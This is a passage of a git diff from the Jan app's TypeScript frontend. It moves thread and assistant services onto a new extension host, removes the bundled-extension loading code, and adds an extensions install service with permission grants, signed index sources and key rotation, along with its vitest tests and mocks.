'gpt-4', provider: 'openai' },}- mockConversationalExtension.createThread.mockRejectedValue(+ api.createThread.mockRejectedValue(new Error('Creation failed'))@@ -208,7 +207,7 @@ describe('DefaultThreadsService', () => {const result = threadsService.updateThread(thread as Thread)- expect(mockConversationalExtension.modifyThread).toHaveBeenCalledWith(+ expect(sentThread(api.modifyThread)).toEqual(expect.objectContaining({id: '1',title: 'Updated Thread',@@ -229,35 +228,41 @@ describe('DefaultThreadsService', () => {threadsService.deleteThread(threadId)- expect(mockConversationalExtension.deleteThread).toHaveBeenCalledWith(- threadId- )+ expect(api.deleteThread).toHaveBeenCalledWith({ threadId })})})describe('edge cases and error handling', () => {- it('should throw when the conversational extension is not ready (startup race)', async () => {- ;(ExtensionManager.getInstance as any).mockReturnValue({- get: vi.fn().mockReturnValue(null),- })+ it('should fetch threads with no extension registered', async () => {+ api.listThreads.mockResolvedValue([{ id: '1', title: 'T', updated: 1 }])++ const result = await threadsService.fetchThreads()++ expect(api.listThreads).toHaveBeenCalledWith()+ expect(result.map((t) => t.id)).toEqual(['1'])+ })++ it('should filter out the temporary thread', async () => {+ api.listThreads.mockResolvedValue([+ { id: TEMPORARY_CHAT_ID, title: 'Temp', updated: 1 },+ { id: '1', title: 'T', updated: 1 },+ ])++ const result = await threadsService.fetchThreads()- await expect(threadsService.fetchThreads()).rejects.toThrow()+ expect(result.map((t) => t.id)).toEqual(['1'])})it('should propagate listThreads failures instead of resolving to an empty list', async () => {- mockConversationalExtension.listThreads.mockRejectedValue(- new Error('invoke failed')- )+ api.listThreads.mockRejectedValue(new Error('invoke failed'))await expect(threadsService.fetchThreads()).rejects.toThrow('invoke failed')})- it('should handle createThread when extension manager returns null', async () => {- ;(ExtensionManager.getInstance as any).mockReturnValue({- get: vi.fn().mockReturnValue(null),- })+ it('should return the input thread when the backend is unavailable', async () => {+ window.core = undefinedconst inputThread = {id: '1',@@ -270,30 +275,28 @@ describe('DefaultThreadsService', () => {expect(result).toEqual(inputThread)})- it('should handle updateThread when extension manager returns null', async () => {- ;(ExtensionManager.getInstance as any).mockReturnValue({- get: vi.fn().mockReturnValue(null),- })-- const thread = {- id: '1',- title: 'Test Thread',- model: { id: 'gpt-4', provider: 'openai' },- }+ it('should not touch the backend for the temporary thread', async () => {+ const temp = { id: TEMPORARY_CHAT_ID, title: 'Temp' } as Thread- const result = await threadsService.updateThread(thread as Thread)+ expect(await threadsService.createThread(temp)).toBe(temp)+ await threadsService.updateThread(temp)+ await threadsService.deleteThread(TEMPORARY_CHAT_ID)- expect(result).toBeUndefined()+ expect(api.createThread).not.toHaveBeenCalled()+ expect(api.modifyThread).not.toHaveBeenCalled()+ expect(api.deleteThread).not.toHaveBeenCalled()})- it('should handle deleteThread when extension manager returns null', async () => {- ;(ExtensionManager.getInstance as any).mockReturnValue({- get: vi.fn().mockReturnValue(null),- })-- const result = await threadsService.deleteThread('test-id')+ it('should propagate modifyThread and deleteThread failures', async () => {+ api.modifyThread.mockRejectedValueOnce(new Error('modify failed'))+ api.deleteThread.mockRejectedValueOnce(new Error('delete failed'))- expect(result).toBeUndefined()+ await expect(+ threadsService.updateThread({ id: '1', title: 'T' } as Thread)+ ).rejects.toThrow('modify failed')+ await expect(threadsService.deleteThread('1')).rejects.toThrow(+ 'delete failed'+ )})it('should handle fetchThreads with threads missing metadata', async () => {@@ -305,7 +308,7 @@ describe('DefaultThreadsService', () => {},]- mockConversationalExtension.listThreads.mockResolvedValue(mockThreads)+ api.listThreads.mockResolvedValue(mockThreads)const result = await threadsService.fetchThreads()@@ -330,7 +333,7 @@ describe('DefaultThreadsService', () => {},]- mockConversationalExtension.listThreads.mockResolvedValue(mockThreads)+ api.listThreads.mockResolvedValue(mockThreads)const result = await threadsService.fetchThreads()@@ -367,13 +370,13 @@ describe('DefaultThreadsService', () => {metadata: { order: 1 },}- mockConversationalExtension.createThread.mockResolvedValue(+ api.createThread.mockResolvedValue(mockCreatedThread)const result = await threadsService.createThread(inputThread as Thread)- expect(mockConversationalExtension.createThread).toHaveBeenCalledWith(+ expect(sentThread(api.createThread)).toEqual(expect.objectContaining({assistants: [expect.objectContaining({@@ -401,14 +404,14 @@ describe('DefaultThreadsService', () => {metadata: { order: 1 },}- mockConversationalExtension.createThread.mockResolvedValue(+ api.createThread.mockResolvedValue(mockCreatedThread)const result = await threadsService.createThread(inputThread as Thread)// Should create with model-only entry when no assistants provided- expect(mockConversationalExtension.createThread).toHaveBeenCalledWith(+ expect(sentThread(api.createThread)).toEqual(expect.objectContaining({assistants: [expect.objectContaining({@@ -433,7 +436,7 @@ describe('DefaultThreadsService', () => {threadsService.updateThread(thread as Thread)- expect(mockConversationalExtension.modifyThread).toHaveBeenCalledWith(+ expect(sentThread(api.modifyThread)).toEqual(expect.objectContaining({assistants: [{@@ -464,7 +467,7 @@ describe('DefaultThreadsService', () => {threadsService.updateThread(thread as Thread)- expect(mockConversationalExtension.modifyThread).toHaveBeenCalledWith(+ expect(sentThread(api.modifyThread)).toEqual(expect.objectContaining({assistants: [expect.objectContaining({@@ -476,7 +479,7 @@ describe('DefaultThreadsService', () => {})it('should handle fetchThreads with non-array response', async () => {- mockConversationalExtension.listThreads.mockResolvedValue('not-an-array')+ api.listThreads.mockResolvedValue('not-an-array')const result = await threadsService.fetchThreads()@@ -499,7 +502,7 @@ describe('DefaultThreadsService', () => {// missing metadata}- mockConversationalExtension.createThread.mockResolvedValue(+ api.createThread.mockResolvedValue(mockCreatedThread)diff --git a/web-app/src/services/assistants/default.ts b/web-app/src/services/assistants/default.tsindex b74582510..7aff525de 100644--- a/web-app/src/services/assistants/default.ts+++ b/web-app/src/services/assistants/default.ts@@ -2,33 +2,29 @@* Default Assistants Service - Web implementation*/-import { ExtensionManager } from '@/lib/extension'-import { Assistant, AssistantExtension, ExtensionTypeEnum } from '@janhq/core'+import { getExtensionHost } from '@/lib/extensions/host'+import { ServiceKeys, type Assistant } from '@janhq/core'import type { AssistantsService } from './types'+const assistants = () => getExtensionHost().services.get(ServiceKeys.Assistants)+export class DefaultAssistantsService implements AssistantsService {async getAssistants(): Promise<Assistant[] | null> {- const extension = ExtensionManager.getInstance().get<AssistantExtension>(- ExtensionTypeEnum.Assistant- )+ const service = assistants()- if (!extension) {- console.warn('AssistantExtension not found')+ if (!service) {+ console.warn('Assistants service not available')return null}- return extension.getAssistants()+ return service.getAssistants()}async createAssistant(assistant: Assistant): Promise<void> {- await ExtensionManager.getInstance()- .get<AssistantExtension>(ExtensionTypeEnum.Assistant)- ?.createAssistant(assistant)+ await assistants()?.createAssistant(assistant)}async deleteAssistant(assistant: Assistant): Promise<void> {- await ExtensionManager.getInstance()- .get<AssistantExtension>(ExtensionTypeEnum.Assistant)- ?.deleteAssistant(assistant)+ await assistants()?.deleteAssistant(assistant)}}diff --git a/web-app/src/services/core/__tests__/default.test.ts b/web-app/src/services/core/__tests__/default.test.tsindex 5ce6bae20..eb884945b 100644--- a/web-app/src/services/core/__tests__/default.test.ts+++ b/web-app/src/services/core/__tests__/default.test.ts@@ -35,39 +35,6 @@ describe('DefaultCoreService', () => {})})- describe('getActiveExtensions', () => {- it('returns empty array', async () => {- const result = await svc.getActiveExtensions()- expect(result).toEqual([])- })- })-- describe('installExtensions', () => {- it('resolves without error', async () => {- await expect(svc.installExtensions()).resolves.toBeUndefined()- })- })-- describe('installExtension', () => {- it('returns the same extensions passed in', async () => {- const exts = [{ name: 'ext1' }] as any- const result = await svc.installExtension(exts)- expect(result).toBe(exts)- })- })-- describe('uninstallExtension', () => {- it('returns false', async () => {- const result = await svc.uninstallExtension(['ext1'])- expect(result).toBe(false)- })-- it('returns false with reload param', async () => {- const result = await svc.uninstallExtension(['ext1', 'ext2'], false)- expect(result).toBe(false)- })- })-describe('getAppToken', () => {it('returns null', async () => {const result = await svc.getAppToken()diff --git a/web-app/src/services/core/__tests__/tauri.test.ts b/web-app/src/services/core/__tests__/tauri.test.tsindex 7dbfdb077..1622b14ed 100644--- a/web-app/src/services/core/__tests__/tauri.test.ts+++ b/web-app/src/services/core/__tests__/tauri.test.ts@@ -45,39 +45,6 @@ describe('TauriCoreService', () => {})})- describe('getActiveExtensions', () => {- it('returns bundled extensions without invoking the backend', async () => {- const exts = await svc.getActiveExtensions()- expect(mockInvoke).not.toHaveBeenCalled()- expect(exts.length).toBeGreaterThan(0)- expect(exts.every((e) => e.url === 'built-in')).toBe(true)- expect(exts.every((e) => e.extensionInstance)).toBe(true)- expect(exts.map((e) => e.name)).toContain('@janhq/llamacpp-extension')- })- })-- describe('installExtensions', () => {- it('is a no-op that does not invoke the backend', async () => {- await expect(svc.installExtensions()).resolves.toBeUndefined()- expect(mockInvoke).not.toHaveBeenCalled()- })- })-- describe('installExtension', () => {- it('returns bundled extensions without invoking the backend', async () => {- const exts = await svc.installExtension([])- expect(mockInvoke).not.toHaveBeenCalled()- expect(exts.map((e) => e.name)).toContain('@janhq/llamacpp-extension')- })- })-- describe('uninstallExtension', () => {- it('returns false (bundled extensions cannot be uninstalled)', async () => {- expect(await svc.uninstallExtension(['ext1'])).toBe(false)- expect(mockInvoke).not.toHaveBeenCalled()- })- })-describe('getAppToken', () => {it('returns token string', async () => {mockInvoke.mockResolvedValue('token123')diff --git a/web-app/src/services/core/bundled-extensions.ts b/web-app/src/services/core/bundled-extensions.tsdeleted file mode 100644index af7f6399d..000000000--- a/web-app/src/services/core/bundled-extensions.ts+++ /dev/null@@ -1,112 +0,0 @@-import type { BaseExtension } from '@janhq/core'-import type { ExtensionManifest } from '@/lib/extension'--type ExtensionCtor = new (- url: string,- name: string,- productName?: string,- active?: boolean,- description?: string,- version?: string-) => BaseExtension--type BundledEntry = {- load: () => Promise<{ default: ExtensionCtor }>- name: string- productName: string- version: string- description: string- // Runs on mobile (no native plugin dependencies). Desktop-only otherwise.- mobile?: boolean-}--// Lazily imported so the extension bundles are NOT part of the service-hub-// bootstrap graph; they load only when extensions are enumerated (after the-// hub is ready), matching the pre-bundling load order.-const ENTRIES: BundledEntry[] = [- {- load: () => import('@janhq/assistant-extension'),- name: '@janhq/assistant-extension',- productName: 'Jan Assistant',- version: '1.0.2',- description:- 'Powers the default AI assistant that works with all your installed models.',- },- {- load: () => import('@janhq/conversational-extension'),- name: '@janhq/conversational-extension',- productName: 'Conversational',- version: '1.0.0',- description: 'Enables conversations and state persistence via your file system.',- mobile: true,- },- {- load: () => import('@janhq/download-extension'),- name: '@janhq/download-extension',- productName: 'Download Manager',- version: '1.0.0',- description: 'Download and manage files and AI models in Jan.',- },- {- load: () => import('@janhq/llamacpp-extension'),- name: '@janhq/llamacpp-extension',- productName: 'llama.cpp Inference Engine',- version: '1.0.1',- description: 'This extension enables llama.cpp chat completion API calls',- },- {- load: () => import('@janhq/rag-extension'),- name: '@janhq/rag-extension',- productName: 'RAG Tools',- version: '0.1.0',- description:- 'Registers RAG tools and orchestrates retrieval across parser, embeddings, and vector DB',- },- {- load: () => import('@janhq/vector-db-extension'),- name: '@janhq/vector-db-extension',- productName: 'Vector DB',- version: '0.1.0',- description: 'Vector DB integration using sqlite-vec if available with linear fallback',- },-]--// The MLX extension depends on @janhq/tauri-plugin-mlx-api, which only exists-// on macOS. IS_MACOS is a build-time constant, so this import() is dead-code-// eliminated on other platforms and never enters the bundle graph.-if (IS_MACOS) {- ENTRIES.push({- load: () => import('@janhq/mlx-extension'),- name: '@janhq/mlx-extension',- productName: 'MLX Inference Engine',- version: '1.0.0',- description: 'This extension enables MLX-Swift inference on Apple Silicon Macs',- })-}--export async function getBundledExtensions(- opts: { mobile?: boolean } = {}-): Promise<ExtensionManifest[]> {- const active = ENTRIES.filter((e) => (opts.mobile ? e.mobile : true))- return Promise.all(- active.map(async ({ load, name, productName, description, version }) => {- const { default: Ctor } = await load()- return {- name,- productName,- url: 'built-in',- active: true,- description,- version,- extensionInstance: new Ctor(- 'built-in',- name,- productName,- true,- description,- version- ),- }- })- )-}diff --git a/web-app/src/services/core/default.ts b/web-app/src/services/core/default.tsindex f019e235d..ad4283d34 100644--- a/web-app/src/services/core/default.ts+++ b/web-app/src/services/core/default.ts@@ -2,7 +2,6 @@* Default Core Service - Generic implementation with minimal returns*/-import type { ExtensionManifest } from '@/lib/extension'import type { CoreService, InvokeArgs } from './types'export class DefaultCoreService implements CoreService {@@ -16,25 +15,6 @@ export class DefaultCoreService implements CoreService {return filePath}- async getActiveExtensions(): Promise<ExtensionManifest[]> {- return []- }-- async installExtensions(): Promise<void> {- // No-op- }-- async installExtension(extensions: ExtensionManifest[]): Promise<ExtensionManifest[]> {- // No-op in default implementation- return extensions- }-- async uninstallExtension(extensions: string[], reload = true): Promise<boolean> {- console.log('uninstallExtension called:', { extensions, reload })- // No-op in default implementation- return Promise.resolve(false)- }-async getAppToken(): Promise<string | null> {return null}diff --git a/web-app/src/services/core/mobile.ts b/web-app/src/services/core/mobile.tsdeleted file mode 100644index a90599086..000000000--- a/web-app/src/services/core/mobile.ts+++ /dev/null@@ -1,26 +0,0 @@-/**- * Mobile Core Service - Android/iOS implementation- *- * Extensions are bundled into the app; mobile exposes only the subset that has- * no native plugin dependencies (see the `mobile` flag in bundled-extensions).- */--import { TauriCoreService } from './tauri'-import type { ExtensionManifest } from '@/lib/extension'-import { getBundledExtensions } from './bundled-extensions'--export class MobileCoreService extends TauriCoreService {- override async getActiveExtensions(): Promise<ExtensionManifest[]> {- return getBundledExtensions({ mobile: true })- }-- override async installExtensions(): Promise<void> {}-- override async installExtension(): Promise<ExtensionManifest[]> {- return getBundledExtensions({ mobile: true })- }-- override async uninstallExtension(): Promise<boolean> {- return false- }-}diff --git a/web-app/src/services/core/tauri.ts b/web-app/src/services/core/tauri.tsindex 9c4842bbc..3a4a294f6 100644--- a/web-app/src/services/core/tauri.ts+++ b/web-app/src/services/core/tauri.ts@@ -3,10 +3,8 @@*/import { invoke, convertFileSrc } from '@tauri-apps/api/core'-import type { ExtensionManifest } from '@/lib/extension'import type { InvokeArgs } from './types'import { DefaultCoreService } from './default'-import { getBundledExtensions } from './bundled-extensions'export class TauriCoreService extends DefaultCoreService {async invoke<T = unknown>(command: string, args?: InvokeArgs): Promise<T> {@@ -27,21 +25,6 @@ export class TauriCoreService extends DefaultCoreService {}}- // Extensions are bundled into the app binary; no filesystem install step.- async getActiveExtensions(): Promise<ExtensionManifest[]> {- return getBundledExtensions()- }-- async installExtensions(): Promise<void> {}-- async installExtension(): Promise<ExtensionManifest[]> {- return getBundledExtensions()- }-- async uninstallExtension(): Promise<boolean> {- return false- }-// App tokenasync getAppToken(): Promise<string | null> {try {diff --git a/web-app/src/services/core/types.ts b/web-app/src/services/core/types.tsindex 6bcfb2983..fda6ace0e 100644--- a/web-app/src/services/core/types.ts+++ b/web-app/src/services/core/types.ts@@ -3,8 +3,6 @@* Types for core Tauri invoke functionality*/-import type { ExtensionManifest } from '@/lib/extension'-export interface InvokeArgs {[key: string]: unknown}@@ -12,13 +10,7 @@ export interface InvokeArgs {export interface CoreService {invoke<T = unknown>(command: string, args?: InvokeArgs): Promise<T>convertFileSrc(filePath: string, protocol?: string): string-- // Extension management- getActiveExtensions(): Promise<ExtensionManifest[]>- installExtensions(): Promise<void>- installExtension(extensions: ExtensionManifest[]): Promise<ExtensionManifest[]>- uninstallExtension(extensions: string[], reload?: boolean): Promise<boolean>-+// App tokengetAppToken(): Promise<string | null>}diff --git a/web-app/src/services/extensions/__tests__/default.test.ts b/web-app/src/services/extensions/__tests__/default.test.tsnew file mode 100644index 000000000..36f19679c--- /dev/null+++ b/web-app/src/services/extensions/__tests__/default.test.ts@@ -0,0 +1,46 @@+import { describe, expect, it } from 'vitest'+import { DefaultExtensionsService } from '../default'++describe('DefaultExtensionsService', () => {+ const service = new DefaultExtensionsService()++ it('reports no install pipeline', () => {+ expect(service.isSupported()).toBe(false)+ })++ it('lists nothing installed and no sources', async () => {+ await expect(service.list()).resolves.toEqual({+ safeMode: false,+ safeModeForced: false,+ recoveredFrom: null,+ extensions: [],+ })+ await expect(service.listSources()).resolves.toEqual({+ sources: [],+ removedPins: [],+ notice: null,+ })+ })++ it('refuses anything that would install or change state', async () => {+ const calls = [+ service.stageBundle(),+ service.stageFromIndex(),+ service.confirmInstall(),+ service.setEnabled(),+ service.setGrants(),+ service.uninstall(),+ service.rollback(),+ service.setSafeMode(),+ service.addSource(),+ service.removeSource(),+ service.getCatalog(),+ service.acceptNextKey(),+ ]+ for (const call of calls) await expect(call).rejects.toThrow(/not supported/)+ })++ it('discards a stage without error, since none can exist', async () => {+ await expect(service.discardStage()).resolves.toBeUndefined()+ })+})diff --git a/web-app/src/services/extensions/__tests__/mock.ts b/web-app/src/services/extensions/__tests__/mock.tsnew file mode 100644index 000000000..8f46dbcd4--- /dev/null+++ b/web-app/src/services/extensions/__tests__/mock.ts@@ -0,0 +1,198 @@+import { vi } from 'vitest'+import type { PermissionString } from '@janhq/extension-api'+import { manifest } from '@/lib/extensions/__tests__/fixtures'+import type {+ Catalog,+ ExtensionsService,+ IndexSource,+ RemovedPin,+ SourcesNotice,+ InstalledExtension,+ StagedInstall,+} from '../types'++/** An installed entry; fields can be overridden per test. */+export function installed(+ id: string,+ extra: Partial<InstalledExtension> = {}+): InstalledExtension {+ const m = manifest(id, { displayName: `Ext ${id}` })+ return {+ id,+ manifest: m,+ enabled: true,+ version: m.version,+ previous: null,+ source: { kind: 'bundle', fileName: `${id}.tgz`, sha512: 'sha512-abc' },+ verified: false,+ integrityChecked: false,+ granted: [],+ permissions: m.permissions,+ installedAt: '2026-10-23T10:00:00Z',+ ...extra,+ }+}++/** A staged install of `id` requesting `permissions`. */+export function staged(+ id: string,+ permissions: PermissionString[],+ extra: Partial<StagedInstall> = {}+): StagedInstall {+ return {+ stageId: `stage-${id}`,+ manifest: manifest(id, { displayName: `Ext ${id}`, permissions }),+ sha512: 'sha512-c3RhZ2Vk',+ verified: false,+ integrityChecked: false,+ source: { kind: 'bundle', fileName: `${id}.tgz`, sha512: 'sha512-c3RhZ2Vk' },+ permissionDiff: { added: permissions, removed: [] },+ ...extra,+ }+}++export interface MockState {+ safeMode: boolean+ extensions: InstalledExtension[]+ sources: IndexSource[]+ removedPins: RemovedPin[]+ sourcesNotice: SourcesNotice | null+ catalogs: Record<string, Catalog>+ /** What the next stage call returns. */+ stage?: StagedInstall+}++/**+ * An in-memory `ExtensionsService` whose methods are spies, so a test can+ * assert both the calls and what the page shows after them.+ */+export function createMockExtensionsService(initial: Partial<MockState> = {}) {+ const state: MockState = {+ safeMode: false,+ extensions: [],+ sources: [],+ removedPins: [],+ sourcesNotice: null,+ catalogs: {},+ ...initial,+ }+ const find = (id: string) => {+ const entry = state.extensions.find((e) => e.id === id)+ if (!entry) throw new Error(`not installed: ${id}`)+ return entry+ }+ // Like the Rust stage: an update carries where the installed version came+ // from. A test that sets it explicitly keeps its own value.+ const takeStage = async (): Promise<StagedInstall> => {+ const stage = state.stage+ if (!stage) throw new Error('nothing to stage')+ const entry = state.extensions.find((e) => e.id === stage.manifest.id)+ if (!stage.existing || stage.existing.installedFrom || !entry) return stage+ return {+ ...stage,+ existing: {+ ...stage.existing,+ installedFrom: { source: entry.source, verified: entry.verified },+ },+ }+ }+ const service = {+ isSupported: vi.fn(() => true),+ stageBundle: vi.fn(async (_path: string) => takeStage()),+ stageFromIndex: vi.fn(+ async (_sourceId: string, _id: string, _version: string) => takeStage()+ ),+ confirmInstall: vi.fn(+ async (stageId: string, granted: PermissionString[]) => {+ const stage = state.stage+ if (!stage || stage.stageId !== stageId) throw new Error('no stage')+ const entry = installed(stage.manifest.id, {+ manifest: stage.manifest,+ version: stage.manifest.version,+ granted,+ permissions: stage.manifest.permissions,+ verified: stage.verified,+ integrityChecked: stage.integrityChecked,+ source: stage.source,+ })+ state.extensions = [+ ...state.extensions.filter((e) => e.id !== entry.id),+ entry,+ ]+ state.stage = undefined+ return entry+ }+ ),+ discardStage: vi.fn(async (_stageId: string) => {+ state.stage = undefined+ }),+ list: vi.fn(async () => ({+ safeMode: state.safeMode,+ safeModeForced: false,+ recoveredFrom: null,+ extensions: state.extensions.map((e) => ({ ...e })),+ })),+ setEnabled: vi.fn(async (id: string, enabled: boolean) => {+ find(id).enabled = enabled+ }),+ setGrants: vi.fn(async (id: string, granted: PermissionString[]) => {+ find(id).granted = granted+ }),+ uninstall: vi.fn(async (id: string) => {+ state.extensions = state.extensions.filter((e) => e.id !== id)+ }),+ rollback: vi.fn(async (id: string) => {+ const entry = find(id)+ if (!entry.previous) throw new Error('no previous version')+ ;[entry.version, entry.previous] = [entry.previous, entry.version]+ return { ...entry }+ }),+ setSafeMode: vi.fn(async (on: boolean) => {+ state.safeMode = on+ }),+ listSources: vi.fn(async () => ({+ sources: [...state.sources],+ removedPins: [...state.removedPins],+ notice: state.sourcesNotice,+ })),+ addSource: vi.fn(async (url: string, name: string, publicKey?: string) => {+ const source: IndexSource = {+ id: `source-${state.sources.length + 1}`,+ name,+ url,+ ...(publicKey ? { publicKey } : {}),+ addedAt: '2026-10-23T10:00:00Z',+ }+ state.sources = [...state.sources, source]+ return source+ }),+ removeSource: vi.fn(async (id: string) => {+ const removed = state.sources.find((s) => s.id === id)+ if (removed?.publicKey)+ state.removedPins = [+ ...state.removedPins.filter((p) => p.url !== removed.url),+ {+ url: removed.url,+ publicKey: removed.publicKey,+ removedAt: '2026-10-24T10:00:00Z',+ },+ ]+ state.sources = state.sources.filter((s) => s.id !== id)+ }),+ getCatalog: vi.fn(async (sourceId: string) => {+ const catalog = state.catalogs[sourceId]+ if (!catalog) throw new Error(`unreachable: ${sourceId}`)+ return catalog+ }),+ acceptNextKey: vi.fn(async (sourceId: string, nextPublicKey: string) => {+ const source = state.sources.find((s) => s.id === sourceId)+ if (!source) throw new Error(`no source: ${sourceId}`)+ const rotated = { ...source, publicKey: nextPublicKey }+ state.sources = state.sources.map((s) => (s.id === sourceId ? rotated : s))+ const catalog = state.catalogs[sourceId]+ if (catalog) state.catalogs[sourceId] = { ...catalog, nextPublicKey: null }+ return rotated+ }),+ } satisfies ExtensionsService+ return { service, state }+}diff --git a/web-app/src/services/extensions/__tests__/tauri.test.ts b/web-app/src/services/extensions/__tests__/tauri.test.tsnew file mode 100644index 000000000..72e3af78b--- /dev/null+++ b/web-app/src/services/extensions/__tests__/tauri.test.ts@@ -0,0 +1,205 @@+import { beforeEach, describe, expect, it, vi } from 'vitest'+import type {+ InstalledExtension,+ StagedInstall,+} from '@janhq/tauri-plugin-extensions-api'++const plugin = vi.hoisted(() => ({+ stageBundle: vi.fn(),+ stageFromIndex: vi.fn(),+ confirmInstall: vi.fn(),+ discardStage: vi.fn(async () => undefined),+ list: vi.fn(),+ setEnabled: vi.fn(async () => undefined),+ setGrants: vi.fn(async () => undefined),+ uninstall: vi.fn(async () => undefined),+ rollback: vi.fn(),+ setSafeMode: vi.fn(async () => undefined),+ listSources: vi.fn(async () => ({+ sources: [],+ removedPins: [],+ notice: null,+ })),+ addSource: vi.fn(),+ removeSource: vi.fn(async () => undefined),+ getCatalog: vi.fn(),+ acceptNextKey: vi.fn(),+}))+vi.mock('@janhq/tauri-plugin-extensions-api', () => plugin)++import { TauriExtensionsService } from '../tauri'++const ID = 'acme.hello'++const packageJson = (version = '1.0.0', jan: Record<string, unknown> = {}) => ({+ name: '@acme/hello',+ version,+ jan: {+ id: ID,+ displayName: 'Hello',+ publisher: 'Acme',+ apiVersion: '^1.0.0',+ main: 'dist/index.js',+ permissions: ['ui:notify'],+ ...jan,+ },+})++const installed = (extra: Partial<InstalledExtension> = {}): InstalledExtension => ({+ id: ID,+ version: '1.0.0',+ previous: null,+ enabled: true,+ granted: ['ui:notify'],+ permissions: ['ui:notify'],+ source: { kind: 'bundle', fileName: 'hello.tgz', sha512: 'sha512-a' },+ verified: false,+ integrityChecked: false,+ installedAt: '2026-10-23T10:00:00Z',+ manifest: packageJson(),+ ...extra,+})++const staged = (extra: Partial<StagedInstall> = {}): StagedInstall => ({+ stageId: 's1',+ manifest: packageJson(),+ sha512: 'sha512-a',+ verified: false,+ integrityChecked: false,+ source: { kind: 'bundle', fileName: 'hello.tgz', sha512: 'sha512-a' },+ existing: null,+ permissionDiff: { added: ['ui:notify'], removed: [] },+ ...extra,+})++describe('TauriExtensionsService', () => {+ const service = new TauriExtensionsService()++ beforeEach(() => vi.clearAllMocks())++ it('has an install pipeline', () => {+ expect(service.isSupported()).toBe(true)+ })++ it('returns a stage with the manifest validated by the host', async () => {+ plugin.stageBundle.mockResolvedValue(staged())+ const result = await service.stageBundle('/tmp/hello.tgz')+ expect(plugin.stageBundle).toHaveBeenCalledWith('/tmp/hello.tgz')+ expect(result.manifest).toMatchObject({+ id: ID,+ version: '1.0.0',+ permissions: ['ui:notify'],+ })+ expect(result.existing).toBeUndefined()+ expect(result.permissionDiff).toEqual({ added: ['ui:notify'], removed: [] })+ })++ it('keeps what an update replaces and where it came from', async () => {+ const from = {+ kind: 'index' as const,+ sourceId: 'old',+ sourceName: 'Old Index',+ url: 'https://old.dev/index.json',+ tarball: 'https://old.dev/hello.tgz',+ integrity: 'sha512-o',+ }+ plugin.stageFromIndex.mockResolvedValue(+ staged({+ existing: {+ version: '0.9.0',+ granted: ['ui:notify'],+ source: from,+ verified: true,+ },+ })+ )+ const result = await service.stageFromIndex('src', ID, '1.0.0')+ expect(plugin.stageFromIndex).toHaveBeenCalledWith('src', ID, '1.0.0')+ expect(result.existing).toEqual({+ version: '0.9.0',+ granted: ['ui:notify'],+ installedFrom: { source: from, verified: true },+ })+ // The stage carries the source; staging never reads the registry.+ expect(plugin.list).not.toHaveBeenCalled()+ })++ it('discards a stage whose manifest the host refuses', async () => {+ plugin.stageBundle.mockResolvedValue(+ staged({ manifest: packageJson('1.0.0', { apiVersion: 'latest' }) })+ )+ await expect(service.stageBundle('/tmp/x.tgz')).rejects.toThrow(+ /jan\.apiVersion/+ )+ expect(plugin.discardStage).toHaveBeenCalledWith('s1')+ })++ it('lists the registry with typed manifests and leaves out unreadable ones', async () => {+ vi.spyOn(console, 'error').mockImplementation(() => {})+ plugin.list.mockResolvedValue({+ safeMode: true,+ safeModeForced: false,+ recoveredFrom: '/x/extensions.json.corrupt-1',+ extensions: [+ installed(),+ installed({ id: 'acme.broken', manifest: null }),+ ],+ })+ const result = await service.list()+ expect(result.safeMode).toBe(true)+ expect(result.recoveredFrom).toBe('/x/extensions.json.corrupt-1')+ expect(result.extensions).toHaveLength(1)+ expect(result.extensions[0]).toMatchObject({+ id: ID,+ version: '1.0.0',+ manifest: { id: ID, displayName: 'Hello' },+ })+ })++ it('passes changes through with the same arguments', async () => {+ plugin.confirmInstall.mockResolvedValue(installed())+ plugin.rollback.mockResolvedValue(installed({ version: '0.9.0', manifest: packageJson('0.9.0') }))+ await service.confirmInstall('s1', ['ui:notify'])+ await service.setEnabled(ID, false)+ await service.setGrants(ID, [])+ await expect(service.rollback(ID)).resolves.toMatchObject({ version: '0.9.0' })+ await service.uninstall(ID)+ await service.setSafeMode(true)+ expect(plugin.confirmInstall).toHaveBeenCalledWith('s1', ['ui:notify'])+ expect(plugin.setEnabled).toHaveBeenCalledWith(ID, false)+ expect(plugin.setGrants).toHaveBeenCalledWith(ID, [])+ expect(plugin.uninstall).toHaveBeenCalledWith(ID)+ expect(plugin.setSafeMode).toHaveBeenCalledWith(true)+ })++ it('passes the catalog signed status and a key rotation through', async () => {+ const catalog = {+ index: { schema: 1, generatedAt: 'x', extensions: [] },+ signed: true,+ nextPublicKey: 'k2',+ }+ plugin.getCatalog.mockResolvedValue(catalog)+ await expect(service.getCatalog('s1')).resolves.toEqual(catalog)+ const rotated = { id: 's1', name: 'S', url: 'https://s/', publicKey: 'k2', addedAt: 't' }+ plugin.acceptNextKey.mockResolvedValue(rotated)+ await expect(service.acceptNextKey('s1', 'k2')).resolves.toEqual(rotated)+ expect(plugin.acceptNextKey).toHaveBeenCalledWith('s1', 'k2')+ plugin.getCatalog.mockRejectedValueOnce({+ kind: 'signature',+ message: "the index signature does not match the source's pinned key",+ })+ await expect(service.getCatalog('s1')).rejects.toThrow(+ "the index signature does not match the source's pinned key"+ )+ })++ it('turns plugin rejections into errors with their message', async () => {+ plugin.setGrants.mockRejectedValueOnce({+ kind: 'denied',+ message: "'tools' is not granted",+ })+ await expect(service.setGrants(ID, ['tools'])).rejects.toThrow(+ "'tools' is not granted"+ )+ })+})diff --git a/web-app/src/services/extensions/default.ts b/web-app/src/services/extensions/default.tsnew file mode 100644index 000000000..a96ad4f87--- /dev/null+++ b/web-app/src/services/extensions/default.ts@@ -0,0 +1,89 @@+/**+ * Default Extensions Service - no install pipeline outside the desktop app.+ * Reads return nothing installed; anything that would change state rejects.+ */++import type {+ Catalog,+ ExtensionsService,+ IndexSource,+ InstalledExtension,+ SourceList,+ ListResult,+ StagedInstall,+} from './types'++const unsupported = (): Promise<never> =>+ Promise.reject(+ new Error('Installing extensions is not supported on this platform')+ )++export class DefaultExtensionsService implements ExtensionsService {+ isSupported(): boolean {+ return false+ }++ async list(): Promise<ListResult> {+ return {+ safeMode: false,+ safeModeForced: false,+ recoveredFrom: null,+ extensions: [],+ }+ }++ async listSources(): Promise<SourceList> {+ return { sources: [], removedPins: [], notice: null }+ }++ stageBundle(): Promise<StagedInstall> {+ return unsupported()+ }++ stageFromIndex(): Promise<StagedInstall> {+ return unsupported()+ }++ confirmInstall(): Promise<InstalledExtension> {+ return unsupported()+ }++ // Nothing can have been staged here, so there is nothing to discard.+ async discardStage(): Promise<void> {}++ setEnabled(): Promise<void> {+ return unsupported()+ }++ setGrants(): Promise<void> {+ return unsupported()+ }++ uninstall(): Promise<void> {+ return unsupported()+ }++ rollback(): Promise<InstalledExtension> {+ return 